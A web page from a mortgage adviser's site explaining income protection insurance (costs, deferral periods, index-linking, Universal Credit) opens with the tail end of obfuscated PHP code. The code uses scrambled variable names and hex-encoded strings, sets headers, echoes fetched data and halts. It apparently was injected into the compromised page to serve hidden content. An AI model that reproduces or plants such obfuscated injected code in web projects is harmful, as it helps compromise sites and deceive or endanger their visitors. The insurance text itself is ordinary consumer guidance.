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as $O00OO0_O__){@header($O00OO0_O__);}echo $O0__O00O_O["\x64\x61\x74\x61"];die();}}O_O_O_000O($O__O0_OO00); ?> Income Protection - iMortgage

Income Protection

One of the nerve-wracking things about owning a home is the chance of losing it if you’re unable to pay your monthly mortgage bill. Do you have savings to fall back on if you lose your main income for some reason? If not, there’s a kind of insurance that might give you peace of mind – income protection.

What is income protection?

Income protection is an insurance policy that pays out if you’re unable to work because of injury or illness.  It pays you a portion of your normal monthly wage during the time that you can’t work (subject to an agreed start date).

You can choose the type of plan you have. Short term policies last around 1-2 years, while long term plans can run until you retire. You can claim multiple times on a policy if you need to.

Income protection is different from critical illness insurance, which pays out a lump sum if you fall seriously ill. 

Why do I need income protection?

If you fall ill, or have an accident that means you can’t work for weeks or months, how long would you be able to manage? If you’re employed, you should receive sick pay – but it may be significantly less than your normal salary and might only cover you for a few months. If you’re self-employed, there’s no support at all.

If you don’t have decent savings, you may find it difficult to pay the mortgage – and that could put your home at risk.

What does income protection cost?

The cost of your policy depends on some important details about you – your health and whether you smoke, for example. The type of job you do also plays a major part in determining what you’ll pay. Managers and office workers are the least ‘risky’ jobs, while those who drive a lot for work or use heavy machinery might expect to pay more for their cover.

You’ll also be charged more if you want your insurance to provide a big proportion of your monthly salary. 50% to 70% is the norm, but you can opt for more. 

When do I receive the money?

This also depends on your policy. Usually there is a period of a few weeks between you being signed off work and the payments beginning – perhaps because you’ll get some sick pay, for example. The longer this ‘deferral’ period, the lower your premiums will be.

A normal deferral period is 3-6 months, but it can be much shorter if needed – if you’re self employed for example.

What else do I need to know?

Your income protection provider will have an opinion about whether or not you’re unable to work. If they feel that you could potentially return to your job, this will affect whether or how much they will pay.

You should also consider whether you need an index-linked income protection policy. Put simply, this is where the amount you receive increases over time in line with inflation and (hopefully) in line with your salary. The downside is that your payments will increase too.

Do bear in mind, too that receiving money from an income protection policy will affect how much Universal Credit you may be able to claim. But some people feel that they would prefer to make sure they have a plan in place rather than rely on government support.

How can I find an income protection plan?

Finding the right plan is very important as it could save you from financial trouble in the future. But the wrong policy won’t give you the level of support you need. These products can be quite complex so it’s best to talk to an expert. The iMortgage team are independent financial advisers and will help you navigate the market to find the right plan.

Get in touch

NEED HELP EXPLORING INCOME PROTECTION PRODUCTS? We’ll do the hard work for you. Our friendly experts will take you through every step. Give us a call today.

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